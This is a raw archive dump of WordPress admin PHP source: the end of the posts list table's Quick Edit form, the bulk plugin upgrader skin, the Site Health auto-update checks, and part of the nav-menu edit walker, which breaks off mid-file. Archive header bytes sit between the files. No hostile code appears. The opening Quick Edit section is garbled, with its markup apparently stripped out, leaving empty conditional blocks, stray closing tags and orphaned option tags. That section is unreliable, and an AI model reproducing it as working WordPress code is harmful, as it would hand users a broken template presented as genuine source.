<?php endforeach; // $hierarchical_taxonomies as $taxonomy ?>

</div>
				</fieldset>

<?php endif; // count( $hierarchical_taxonomies ) && ! $bulk ?>

<?php
				if ( post_type_supports( $screen->post_type, 'author' ) && $bulk ) {
					echo $authors_dropdown;
				}
				?>

<?php if ( post_type_supports( $screen->post_type, 'page-attributes' ) ) : ?>

<?php if ( $post_type_object->hierarchical ) : ?>

<label>
							<span class="title"><?php _e( 'Parent' ); ?></span>
							<?php
							$dropdown_args = array(
								'post_type'         => $post_type_object->name,
								'selected'          => $post->post_parent,
								'name'              => 'post_parent',
								'show_option_none'  => __( 'Main Page (no parent)' ),
								'option_none_value' => 0,
								'sort_column'       => 'menu_order, post_title',
							);

if ( $bulk ) {
								$dropdown_args['show_option_no_change'] = __( '&mdash; No Change &mdash;' );
							}

/**
							 * Filters the arguments used to generate the Quick Edit page-parent drop-down.
							 *
							 * @since 2.7.0
							 *
							 * @see wp_dropdown_pages()
							 *
							 * @param array $dropdown_args An array of arguments.
							 */
							$dropdown_args = apply_filters( 'quick_edit_dropdown_pages_args', $dropdown_args );

wp_dropdown_pages( $dropdown_args );
							?>
						</label>

<?php endif; // hierarchical ?>

<?php if ( ! $bulk ) : ?>

<label>
							<span class="title"><?php _e( 'Order' ); ?></span>
							<span class="input-text-wrap"><input type="text" name="menu_order" class="inline-edit-menu-order-input" value="<?php echo $post->menu_order; ?>" /></span>
						</label>

<?php endif; // ! $bulk ?>

<?php endif; // post_type_supports( ... 'page-attributes' ) ?>

<?php if ( 0 < count( get_page_templates( null, $screen->post_type ) ) ) : ?>

<?php endif; ?>

<?php if ( count( $flat_taxonomies ) && ! $bulk ) : ?>

<?php foreach ( $flat_taxonomies as $taxonomy ) : ?>

<?php if ( current_user_can( $taxonomy->cap->assign_terms ) ) : ?>
							<?php $taxonomy_name = esc_attr( $taxonomy->name ); ?>

<label class="inline-edit-tags">
								<span class="title"><?php echo esc_html( $taxonomy->labels->name ); ?></span>
								<textarea data-wp-taxonomy="<?php echo $taxonomy_name; ?>" cols="22" rows="1" name="tax_input[<?php echo $taxonomy_name; ?>]" class="tax_input_<?php echo $taxonomy_name; ?>"></textarea>
							</label>

<?php endif; // current_user_can( 'assign_terms' ) ?>

<?php endforeach; // $flat_taxonomies as $taxonomy ?>

<?php endif; // count( $flat_taxonomies ) && ! $bulk ?>

<?php if ( post_type_supports( $screen->post_type, 'comments' ) || post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>

<?php if ( $bulk ) : ?>

<?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?>

<?php endif; ?>

<?php if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>

<?php endif; ?>

</div>

<?php else : // $bulk ?>

<?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?>

<?php endif; ?>

<?php if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>

<?php endif; ?>

</div>

<?php endif; // $bulk ?>

<?php endif; // post_type_supports( ... comments or pings ) ?>

<?php if ( $can_publish ) : // Contributors only get "Unpublished" and "Pending Review". ?>
									<option value="publish"><?php _e( 'Published' ); ?></option>
									<option value="future"><?php _e( 'Scheduled' ); ?></option>
									<?php if ( $bulk ) : ?>
										<option value="private"><?php _e( 'Private' ); ?></option>
									<?php endif; // $bulk ?>
								<?php endif; ?>

<?php if ( 'post' === $screen->post_type && $can_publish && current_user_can( $post_type_object->cap->edit_others_posts ) ) : ?>

<?php if ( $bulk ) : ?>

<?php else : // $bulk ?>

<?php endif; // $bulk ?>

<?php endif; // 'post' && $can_publish && current_user_can( 'edit_others_posts' ) ?>

</div>

<?php if ( $bulk && current_theme_supports( 'post-formats' ) && post_type_supports( $screen->post_type, 'post-formats' ) ) : ?>
					<?php $post_formats = get_theme_support( 'post-formats' ); ?>

<?php endif; ?>

</div>
			</fieldset>

<?php
			list( $columns ) = $this->get_column_info();

foreach ( $columns as $column_name => $column_display_name ) {
				if ( isset( $core_columns[ $column_name ] ) ) {
					continue;
				}

if ( $bulk ) {

/**
					 * Fires once for each column in Bulk Edit mode.
					 *
					 * @since 2.7.0
					 *
					 * @param string $column_name Name of the column to edit.
					 * @param string $post_type   The post type slug.
					 */
					do_action( 'bulk_edit_custom_box', $column_name, $screen->post_type );
				} else {

/**
					 * Fires once for each column in Quick Edit mode.
					 *
					 * @since 2.7.0
					 *
					 * @param string $column_name Name of the column to edit.
					 * @param string $post_type   The post type slug, or current screen name if this is a taxonomy list table.
					 * @param string $taxonomy    The taxonomy name, if any.
					 */
					do_action( 'quick_edit_custom_box', $column_name, $screen->post_type, '' );
				}
			}
			?>

<?php if ( ! $bulk ) : ?>
					<?php wp_nonce_field( 'inlineeditnonce', '_inline_edit', false ); ?>
					<button type="button" class="button button-primary save alignright"><?php _e( 'Update' ); ?></button>
					<span class="spinner"></span>
				<?php else : ?>
					<?php submit_button( __( 'Update' ), 'primary alignright', 'bulk_edit', false ); ?>
				<?php endif; ?>

<input type="hidden" name="post_view" value="<?php echo esc_attr( $m ); ?>" />
				<input type="hidden" name="screen" value="<?php echo esc_attr( $screen->id ); ?>" />
				<?php if ( ! $bulk && ! post_type_supports( $screen->post_type, 'author' ) ) : ?>
					<input type="hidden" name="post_author" value="<?php echo esc_attr( $post->post_author ); ?>" />
				<?php endif; ?>
				<br class="clear" />

</td></tr>

<?php
			$bulk++;
		endwhile;
		?>
		</tbody></table>
		</form>
		<?php
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-bulk-plugin-upgrader-skin.php�����������������������������������������������������������������0000604�����������������00000004031�15075125354�0013363 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Upgrader API: Bulk_Plugin_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Bulk Plugin Upgrader Skin for WordPress Plugin Upgrades.
 *
 * @since 3.0.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see Bulk_Upgrader_Skin
 */
class Bulk_Plugin_Upgrader_Skin extends Bulk_Upgrader_Skin {
	public $plugin_info = array(); // Plugin_Upgrader::bulk_upgrade() will fill this in.

public function add_strings() {
		parent::add_strings();
		/* translators: 1: Plugin name, 2: Number of the plugin, 3: Total number of plugins being updated. */
		$this->upgrader->strings['skin_before_update_header'] = __( 'Updating Plugin %1$s (%2$d/%3$d)' );
	}

/**
	 * @param string $title
	 */
	public function before( $title = '' ) {
		parent::before( $this->plugin_info['Title'] );
	}

/**
	 * @param string $title
	 */
	public function after( $title = '' ) {
		parent::after( $this->plugin_info['Title'] );
		$this->decrement_update_count( 'plugin' );
	}

/**
	 */
	public function bulk_footer() {
		parent::bulk_footer();

$update_actions = array(
			'plugins_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'plugins.php' ),
				__( 'Return to Plugins page' )
			),
			'updates_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'update-core.php' ),
				__( 'Return to WordPress Updates page' )
			),
		);

if ( ! current_user_can( 'activate_plugins' ) ) {
			unset( $update_actions['plugins_page'] );
		}

/**
		 * Filters the list of action links available following bulk plugin updates.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $update_actions Array of plugin action links.
		 * @param array    $plugin_info    Array of information for the last-updated plugin.
		 */
		$update_actions = apply_filters( 'update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info );

if ( ! empty( $update_actions ) ) {
			$this->feedback( implode( ' | ', (array) $update_actions ) );
		}
	}
}
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-site-health-auto-updates.php���������������������������������������������������������������0000604�����������������00000032700�15075125354�0013631 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Class for testing automatic updates in the WordPress code.
 *
 * @package WordPress
 * @subpackage Site_Health
 * @since 5.2.0
 */

class WP_Site_Health_Auto_Updates {
	/**
	 * WP_Site_Health_Auto_Updates constructor.
	 *
	 * @since 5.2.0
	 */
	public function __construct() {
		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	}

/**
	 * Run tests to determine if auto-updates can run.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function run_tests() {
		$tests = array(
			$this->test_constants( 'WP_AUTO_UPDATE_CORE', array( true, 'minor' ) ),
			$this->test_wp_version_check_attached(),
			$this->test_filters_automatic_updater_disabled(),
			$this->test_wp_automatic_updates_disabled(),
			$this->test_if_failed_update(),
			$this->test_vcs_abspath(),
			$this->test_check_wp_filesystem_method(),
			$this->test_all_files_writable(),
			$this->test_accepts_dev_updates(),
			$this->test_accepts_minor_updates(),
		);

$tests = array_filter( $tests );
		$tests = array_map(
			function( $test ) {
				$test = (object) $test;

if ( empty( $test->severity ) ) {
					$test->severity = 'warning';
				}

return $test;
			},
			$tests
		);

return $tests;
	}

/**
	 * Test if auto-updates related constants are set correctly.
	 *
	 * @since 5.2.0
	 * @since 5.5.1 The `$value` parameter can accept an array.
	 *
	 * @param string $constant         The name of the constant to check.
	 * @param bool|string|array $value The value that the constant should be, if set,
	 *                                 or an array of acceptable values.
	 * @return array The test results.
	 */
	public function test_constants( $constant, $value ) {
		$acceptable_values = (array) $value;

if ( defined( $constant ) && ! in_array( constant( $constant ), $acceptable_values, true ) ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the constant used. */
					__( 'The %s constant is defined and enabled.' ),
					"<code>$constant</code>"
				),
				'severity'    => 'fail',
			);
		}
	}

/**
	 * Check if updates are intercepted by a filter.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function test_wp_version_check_attached() {
		if ( ! is_main_site() ) {
			return;
		}

$cookies = wp_unslash( $_COOKIE );
		$timeout = 10;
		$headers = array(
			'Cache-Control' => 'no-cache',
		);
		/** This filter is documented in wp-includes/class-wp-http-streams.php */
		$sslverify = apply_filters( 'https_local_ssl_verify', false );

$url = add_query_arg(
			array(
				'health-check-test-wp_version_check' => true,
			),
			admin_url( 'site-health.php' )
		);

$test = wp_remote_get( $url, compact( 'cookies', 'headers', 'timeout', 'sslverify' ) );

if ( is_wp_error( $test ) ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the filter used. */
					__( 'Could not confirm that the %s filter is available.' ),
					'<code>wp_version_check()</code>'
				),
				'severity'    => 'warning',
			);
		}

$response = wp_remote_retrieve_body( $test );

if ( 'yes' !== $response ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the filter used. */
					__( 'A plugin has prevented updates by disabling %s.' ),
					'<code>wp_version_check()</code>'
				),
				'severity'    => 'fail',
			);
		}
	}

/**
	 * Check if automatic updates are disabled by a filter.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function test_filters_automatic_updater_disabled() {
		/** This filter is documented in wp-admin/includes/class-wp-automatic-updater.php */
		if ( apply_filters( 'automatic_updater_disabled', false ) ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the filter used. */
					__( 'The %s filter is enabled.' ),
					'<code>automatic_updater_disabled</code>'
				),
				'severity'    => 'fail',
			);
		}
	}

/**
	 * Check if automatic updates are disabled.
	 *
	 * @since 5.3.0
	 *
	 * @return array|bool The test results. False if auto-updates are enabled.
	 */
	public function test_wp_automatic_updates_disabled() {
		if ( ! class_exists( 'WP_Automatic_Updater' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-automatic-updater.php';
		}

$auto_updates = new WP_Automatic_Updater();

if ( ! $auto_updates->is_disabled() ) {
			return false;
		}

return array(
			'description' => __( 'All automatic updates are disabled.' ),
			'severity'    => 'fail',
		);
	}

/**
	 * Check if automatic updates have tried to run, but failed, previously.
	 *
	 * @since 5.2.0
	 *
	 * @return array|bool The test results. False if the auto-updates failed.
	 */
	function test_if_failed_update() {
		$failed = get_site_option( 'auto_core_update_failed' );

if ( ! $failed ) {
			return false;
		}

if ( ! empty( $failed['critical'] ) ) {
			$description  = __( 'A previous automatic background update ended with a critical failure, so updates are now disabled.' );
			$description .= ' ' . __( 'You would have received an email because of this.' );
			$description .= ' ' . __( "When you've been able to update using the \"Update Now\" button on Dashboard > Updates, we'll clear this error for future update attempts." );
			$description .= ' ' . sprintf(
				/* translators: %s: Code of error shown. */
				__( 'The error code was %s.' ),
				'<code>' . $failed['error_code'] . '</code>'
			);
			return array(
				'description' => $description,
				'severity'    => 'warning',
			);
		}

$description = __( 'A previous automatic background update could not occur.' );
		if ( empty( $failed['retry'] ) ) {
			$description .= ' ' . __( 'You would have received an email because of this.' );
		}

$description .= ' ' . __( "We'll try again with the next release." );
		$description .= ' ' . sprintf(
			/* translators: %s: Code of error shown. */
			__( 'The error code was %s.' ),
			'<code>' . $failed['error_code'] . '</code>'
		);
		return array(
			'description' => $description,
			'severity'    => 'warning',
		);
	}

/**
	 * Check if WordPress is controlled by a VCS (Git, Subversion etc).
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function test_vcs_abspath() {
		$context_dirs = array( ABSPATH );
		$vcs_dirs     = array( '.svn', '.git', '.hg', '.bzr' );
		$check_dirs   = array();

foreach ( $context_dirs as $context_dir ) {
			// Walk up from $context_dir to the root.
			do {
				$check_dirs[] = $context_dir;

// Once we've hit '/' or 'C:\', we need to stop. dirname will keep returning the input here.
				if ( dirname( $context_dir ) === $context_dir ) {
					break;
				}

// Continue one level at a time.
			} while ( $context_dir = dirname( $context_dir ) );
		}

$check_dirs = array_unique( $check_dirs );

// Search all directories we've found for evidence of version control.
		foreach ( $vcs_dirs as $vcs_dir ) {
			foreach ( $check_dirs as $check_dir ) {
				// phpcs:ignore
				if ( $checkout = @is_dir( rtrim( $check_dir, '\\/' ) . "/$vcs_dir" ) ) {
					break 2;
				}
			}
		}

/** This filter is documented in wp-admin/includes/class-wp-automatic-updater.php */
		if ( $checkout && ! apply_filters( 'automatic_updates_is_vcs_checkout', true, ABSPATH ) ) {
			return array(
				'description' => sprintf(
					/* translators: 1: Folder name. 2: Version control directory. 3: Filter name. */
					__( 'The folder %1$s was detected as being under version control (%2$s), but the %3$s filter is allowing updates.' ),
					'<code>' . $check_dir . '</code>',
					"<code>$vcs_dir</code>",
					'<code>automatic_updates_is_vcs_checkout</code>'
				),
				'severity'    => 'info',
			);
		}

if ( $checkout ) {
			return array(
				'description' => sprintf(
					/* translators: 1: Folder name. 2: Version control directory. */
					__( 'The folder %1$s was detected as being under version control (%2$s).' ),
					'<code>' . $check_dir . '</code>',
					"<code>$vcs_dir</code>"
				),
				'severity'    => 'warning',
			);
		}

return array(
			'description' => __( 'No version control systems were detected.' ),
			'severity'    => 'pass',
		);
	}

/**
	 * Check if we can access files without providing credentials.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	function test_check_wp_filesystem_method() {
		$skin    = new Automatic_Upgrader_Skin;
		$success = $skin->request_filesystem_credentials( false, ABSPATH );

if ( ! $success ) {
			$description  = __( 'Your installation of WordPress prompts for FTP credentials to perform updates.' );
			$description .= ' ' . __( '(Your site is performing updates over FTP due to file ownership. Talk to your hosting company.)' );

return array(
				'description' => $description,
				'severity'    => 'fail',
			);
		}

return array(
			'description' => __( "Your installation of WordPress doesn't require FTP credentials to perform updates." ),
			'severity'    => 'pass',
		);
	}

/**
	 * Check if core files are writable by the web user/group.
	 *
	 * @since 5.2.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @return array|bool The test results. False if they're not writeable.
	 */
	function test_all_files_writable() {
		global $wp_filesystem;

require ABSPATH . WPINC . '/version.php'; // $wp_version; // x.y.z

$skin    = new Automatic_Upgrader_Skin;
		$success = $skin->request_filesystem_credentials( false, ABSPATH );

if ( ! $success ) {
			return false;
		}

WP_Filesystem();

if ( 'direct' !== $wp_filesystem->method ) {
			return false;
		}

$checksums = get_core_checksums( $wp_version, 'en_US' );
		$dev       = ( false !== strpos( $wp_version, '-' ) );
		// Get the last stable version's files and test against that.
		if ( ! $checksums && $dev ) {
			$checksums = get_core_checksums( (float) $wp_version - 0.1, 'en_US' );
		}

// There aren't always checksums for development releases, so just skip the test if we still can't find any.
		if ( ! $checksums && $dev ) {
			return false;
		}

if ( ! $checksums ) {
			$description = sprintf(
				/* translators: %s: WordPress version. */
				__( "Couldn't retrieve a list of the checksums for WordPress %s." ),
				$wp_version
			);
			$description .= ' ' . __( 'This could mean that connections are failing to WordPress.org.' );
			return array(
				'description' => $description,
				'severity'    => 'warning',
			);
		}

$unwritable_files = array();
		foreach ( array_keys( $checksums ) as $file ) {
			if ( 'wp-content' === substr( $file, 0, 10 ) ) {
				continue;
			}
			if ( ! file_exists( ABSPATH . $file ) ) {
				continue;
			}
			if ( ! is_writable( ABSPATH . $file ) ) {
				$unwritable_files[] = $file;
			}
		}

if ( $unwritable_files ) {
			if ( count( $unwritable_files ) > 20 ) {
				$unwritable_files   = array_slice( $unwritable_files, 0, 20 );
				$unwritable_files[] = '...';
			}
			return array(
				'description' => __( 'Some files are not writable by WordPress:' ) . ' <ul><li>' . implode( '</li><li>', $unwritable_files ) . '</li></ul>',
				'severity'    => 'fail',
			);
		} else {
			return array(
				'description' => __( 'All of your WordPress files are writable.' ),
				'severity'    => 'pass',
			);
		}
	}

/**
	 * Check if the install is using a development branch and can use nightly packages.
	 *
	 * @since 5.2.0
	 *
	 * @return array|bool The test results. False if it isn't a development version.
	 */
	function test_accepts_dev_updates() {
		require ABSPATH . WPINC . '/version.php'; // $wp_version; // x.y.z
		// Only for dev versions.
		if ( false === strpos( $wp_version, '-' ) ) {
			return false;
		}

if ( defined( 'WP_AUTO_UPDATE_CORE' ) && ( 'minor' === WP_AUTO_UPDATE_CORE || false === WP_AUTO_UPDATE_CORE ) ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the constant used. */
					__( 'WordPress development updates are blocked by the %s constant.' ),
					'<code>WP_AUTO_UPDATE_CORE</code>'
				),
				'severity'    => 'fail',
			);
		}

/** This filter is documented in wp-admin/includes/class-core-upgrader.php */
		if ( ! apply_filters( 'allow_dev_auto_core_updates', $wp_version ) ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the filter used. */
					__( 'WordPress development updates are blocked by the %s filter.' ),
					'<code>allow_dev_auto_core_updates</code>'
				),
				'severity'    => 'fail',
			);
		}
	}

/**
	 * Check if the site supports automatic minor updates.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	function test_accepts_minor_updates() {
		if ( defined( 'WP_AUTO_UPDATE_CORE' ) && false === WP_AUTO_UPDATE_CORE ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the constant used. */
					__( 'WordPress security and maintenance releases are blocked by %s.' ),
					"<code>define( 'WP_AUTO_UPDATE_CORE', false );</code>"
				),
				'severity'    => 'fail',
			);
		}

/** This filter is documented in wp-admin/includes/class-core-upgrader.php */
		if ( ! apply_filters( 'allow_minor_auto_core_updates', true ) ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the filter used. */
					__( 'WordPress security and maintenance releases are blocked by the %s filter.' ),
					'<code>allow_minor_auto_core_updates</code>'
				),
				'severity'    => 'fail',
			);
		}
	}
}
����������������������������������������������������������������class-walker-nav-menu-edit.php����������������������������������������������������������������������0000604�����������������00000027762�15075125354�0012335 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Navigation Menu API: Walker_Nav_Menu_Edit class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Create HTML list of nav menu input items.
 *
 * @since 3.0.0
 *
 * @see Walker_Nav_Menu
 */
class Walker_Nav_Menu_Edit extends Walker_Nav_Menu {
	/**
	 * Starts the list before the elements are added.
	 *
	 * @see Walker_Nav_Menu::start_lvl()
	 *
	 * @since 3.0.0
	 *
	 * @param string   $output Passed by reference.
	 * @param int      $depth  Depth of menu item. Used for padding.
	 * @param stdClass $args   Not used.
	 */
	public function start_lvl( &$output, $depth = 0, $args = null ) {}

/**
	 * Ends the list of after the elements are added.
	 *
	 * @see Walker_Nav_Menu::end_lvl()
	 *
	 * @since 3.0.0
	 *
	 * @param string   $output Passed by reference.
	 * @param int      $depth  Depth of menu item. Used for padding.
	 * @param stdClass $args   Not used.
	 */
	public function end_lvl( &$output, $depth = 0, $args = null ) {}

/**
	 * Start the element output.
	 *
	 * @see Walker_Nav_Menu::start_el()
	 * @since 3.0.0
	 *
	 * @global int $_wp_nav_menu_max_depth
	 *
	 * @param string   $output Used to append additional content (passed by reference).
	 * @param WP_Post  $item   Menu item data object.
	 * @param int      $depth  Depth of menu item. Used for padding.
	 * @param stdClass $args   Not used.
	 * @param int      $id     Not used.
	 */
	public function start_el( &$output, $item, $depth = 0, $args = null, $id = 0 ) {
		global $_wp_nav_menu_max_depth;
		$_wp_nav_menu_max_depth = $depth > $_wp_nav_menu_max_depth ? $depth : $_wp_nav_menu_max_depth;

ob_start();
		$item_id      = esc_attr( $item->ID );
		$removed_args = array(
			'action',
			'customlink-tab',
			'edit-menu-item',
			'menu-item',
			'page-tab',
			'_wpnonce',
		);

$original_title = false;

if ( 'taxonomy' === $item->type ) {
			$original_object = get_term( (int) $item->object_id, $item->object );
			if ( $original_object && ! is_wp_error( $original_object ) ) {
				$original_title = $original_object->name;
			}
		} elseif ( 'post_type' === $item->type ) {
			$original_object = get_post( $item->object_id );
			if ( $original_object ) {
				$original_title = get_the_title( $original_object->ID );
			}
		} elseif ( 'post_type_archive' === $item->type ) {
			$original_object = get_post_type_object( $item->object );
			if ( $original_object ) {
				$original_title = $original_object->labels->archives;
			}
		}

$classes = array(
			'menu-item menu-item-depth-' . $depth,
			'menu-item-' . esc_attr( $item->object ),
			'menu-item-edit-' . ( ( isset( $_GET['edit-menu-item'] ) && $item_id == $_GET['edit-menu-item'] ) ? 'active' : 'inactive' ),
		);

$title = $item->title;

if ( ! empty( $item->_invalid ) ) {
			$classes[] = 'menu-item-invalid';
			/* translators: %s: Title of an invalid menu item. */
			$title = sprintf( __( '%s (Invalid)' ), $item->title );
		} elseif ( isset( $item->post_status ) && 'draft' === $item->post_status ) {
			$classes[] = 'pending';
			/* translators: %s: Title of a menu item in draft status. */
			$title = sprintf( __( '%s (Pending)' ), $item->title );
		}

$title = ( ! isset( $item->label ) || '' === $item->label ) ? $title : $item->label;

$submenu_text = '';
		if ( 0 == $depth ) {
			$submenu_text = 'style="display: none;"';
		}

?>
		<li id="menu-item-<?php echo $item_id; ?>" class="<?php echo implode( ' ', $classes ); ?>">
			<div class="menu-item-bar">
				<div class="menu-item-handle">
					<span class="item-title"><span class="menu-item-title"><?php echo esc_html( $title ); ?></span> <span class="is-submenu" <?php echo $submenu_text; ?>><?php _e( 'sub item' ); ?></span></span>
					<span class="item-controls">
						<span class="item-type"><?php echo esc_html( $item->type_label ); ?></span>
						<span class="item-order hide-if-js">
							<?php
							printf(
								'<a href="%s" class="item-move-up" aria-label="%s">&#8593;</a>',
								wp_nonce_url(
									add_query_arg(
										array(
											'action'    => 'move-up-menu-item',
											'menu-item' => $item_id,
										),
										remove_query_arg( $removed_args, admin_url( 'nav-menus.php' ) )
									),
									'move-menu_item'
								),
								esc_attr__( 'Move up' )
							);
							?>
							|
							<?php
							printf(
								'<a href="%s" class="item-move-down" aria-label="%s">&#8595;</a>',
								wp_nonce_url(
									add_query_arg(
										array(
											'action'    => 'move-down-menu-item',
											'menu-item' => $item_id,
										),
										remove_query_arg( $removed_args, admin_url( 'nav-menus.php' ) )
									),
									'move-menu_item'
								),
								esc_attr__( 'Move down' )
							);
							?>
						</span>
						<?php
						if ( isset( $_GET['edit-menu-item'] ) && $item_id == $_GET['edit-menu-item'] ) {
							$edit_url = admin_url( 'nav-menus.php' );
						} else {
							$edit_url = add_query_arg(
								array(
									'edit-menu-item' => $item_id,
								),
								remove_query_arg( $removed_args, admin_url( 'nav-menus.php#menu-item-settings-' . $item_id ) )
							);
						}

printf(
							'<a class="item-edit" id="edit-%s" href="%s" aria-label="%s"><span class="screen-reader-text">%s</span></a>',
							$item_id,
							$edit_url,
							esc_attr__( 'Edit menu item' ),
							__( 'Edit' )
						);
						?>
					</span>
				</div>
			</div>

<div class="menu-item-settings wp-clearfix" id="menu-item-settings-<?php echo $item_id; ?>">
				<?php if ( 'custom' === $item->type ) : ?>
					<p class="field-url description description-wide">
						<label for="edit-menu-item-url-<?php echo $item_id; ?>">
							<?php _e( 'URL' ); ?><br />
							<input type="text" id="edit-menu-item-url-<?php echo $item_id; ?>" class="widefat code edit-menu-item-url" name="menu-item-url[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->url ); ?>" />
						</label>
					</p>
				<?php endif; ?>
				<p class="description description-wide">
					<label for="edit-menu-item-title-<?php echo $item_id; ?>">
						<?php _e( 'Navigation Label' ); ?><br />
						<input type="text" id="edit-menu-item-title-<?php echo $item_id; ?>" class="widefat edit-menu-item-title" name="menu-item-title[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->title ); ?>" />
					</label>
				</p>
				<p class="field-title-attribute field-attr-title description description-wide">
					<label for="edit-menu-item-attr-title-<?php echo $item_id; ?>">
						<?php _e( 'Title Attribute' ); ?><br />
						<input type="text" id="edit-menu-item-attr-title-<?php echo $item_id; ?>" class="widefat edit-menu-item-attr-title" name="menu-item-attr-title[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->post_excerpt ); ?>" />
					</label>
				</p>
				<p class="field-link-target description">
					<label for="edit-menu-item-target-<?php echo $item_id; ?>">
						<input type="checkbox" id="edit-menu-item-target-<?php echo $item_id; ?>" value="_blank" name="menu-item-target[<?php echo $item_id; ?>]"<?php checked( $item->target, '_blank' ); ?> />
						<?php _e( 'Open link in a new tab' ); ?>
					</label>
				</p>
				<p class="field-css-classes description description-thin">
					<label for="edit-menu-item-classes-<?php echo $item_id; ?>">
						<?php _e( 'CSS Classes (optional)' ); ?><br />
						<input type="text" id="edit-menu-item-classes-<?php echo $item_id; ?>" class="widefat code edit-menu-item-classes" name="menu-item-classes[<?php echo $item_id; ?>]" value="<?php echo esc_attr( implode( ' ', $item->classes ) ); ?>" />
					</label>
				</p>
				<p class="field-xfn description description-thin">
					<label for="edit-menu-item-xfn-<?php echo $item_id; ?>">
						<?php _e( 'Link Relationship (XFN)' ); ?><br />
						<input type="text" id="edit-menu-item-xfn-<?php echo $item_id; ?>" class="widefat code edit-menu-item-xfn" name="menu-item-xfn[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->xfn ); ?>" />
					</label>
				</p>
				<p class="field-description description description-wide">
					<label for="edit-menu-item-description-<?php echo $item_id; ?>">
						<?php _e( 'Description' ); ?><br />
						<textarea id="edit-menu-item-description-<?php echo $item_id; ?>" class="widefat edit-menu-item-description" rows="3" cols="20" name="menu-item-description[<?php echo $item_id; ?>]"><?php echo esc_html( $item->description ); // textarea_escaped ?></textarea>
						<span class="description"><?php _e( 'The description will be displayed in the menu if the current theme supports it.' ); ?></span>
					</label>
				</p>

<?php
				/**
				 * Fires just before the move buttons of a nav menu item in the menu editor.
				 *
				 * @since 5.4.0
				 *
				 * @param int      $item_id Menu item ID.
				 * @param WP_Post  $item    Menu item data object.
				 * @param int      $depth   Depth of menu item. Used for padding.
				 * @param stdClass $args    An object of menu item arguments.
				 * @param int      $id      Nav menu ID.
				 */
				do_action( 'wp_nav_menu_item_custom_fields', $item_id, $item, $depth, $args, $id );
				?>

<div class="menu-item-actions description-wide submitbox">
					<?php if ( 'custom' !== $item->type && false !== $original_title ) : ?>
						<p class="link-to-original">
							<?php
							/* translators: %s: Link to menu item's original object. */
							printf( __( 'Original: %s' ), '<a href="' . esc_attr( $item->url ) . '">' . esc_html( $original_title ) . '</a>' );
							?>
						</p>
					<?php endif; ?>

<?php
					printf(
						'<a class="item-delete submitdelete deletion" id="delete-%s" href="%s">%s</a>',
						$item_id,
						wp_nonce_url(
							add_query_arg(
								array(
									'action'    => 'delete-menu-item',
									'menu-item' => $item_id,
								),
								admin_url( 'nav-menus.php' )
							),
							'delete-menu_item_' . $item_id
						),
						__( 'Remove' )
					);
					?>
					<span class="meta-sep hide-if-no-js"> | </span>
					<?php
					printf(
						'<a class="item-cancel submitcancel hide-if-no-js" id="cancel-%s" href="%s#menu-item-settings-%s">%s</a>',
						$item_id,
						esc_url(
							add_query_arg(
								array(
									'edit-menu-item' => $item_id,
									'cancel'         => time(),
								),
								admin_url( 'nav-menus.php' )
							)
						),
						$item_id,
						__( 'Cancel' )
					);
					?>
				</div>

<input class="menu-item-data-db-id" type="hidden" name="menu-item-db-id[<?php echo $item_id; ?>]" value="<?php echo $item_id; ?>" />
				<input class="menu-item-data-object-id" type="hidden" name="menu-item-object-id[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->object_id ); ?>" />
				<input class="menu-item-data-object" type="hidden" name="menu-item-object[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->object ); ?>" />
				<input class="menu-item-data-parent-id" type="hidden" name="menu-item-parent-id[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->menu_item_parent ); ?>" />
				<input class="menu-item-data-position" type="hidden" name="menu-item-position[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->menu_order ); ?>" />
				<input class="menu-item-data-type" type="hidden" name="menu-item-type[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->type ); ?>" />
			</div>
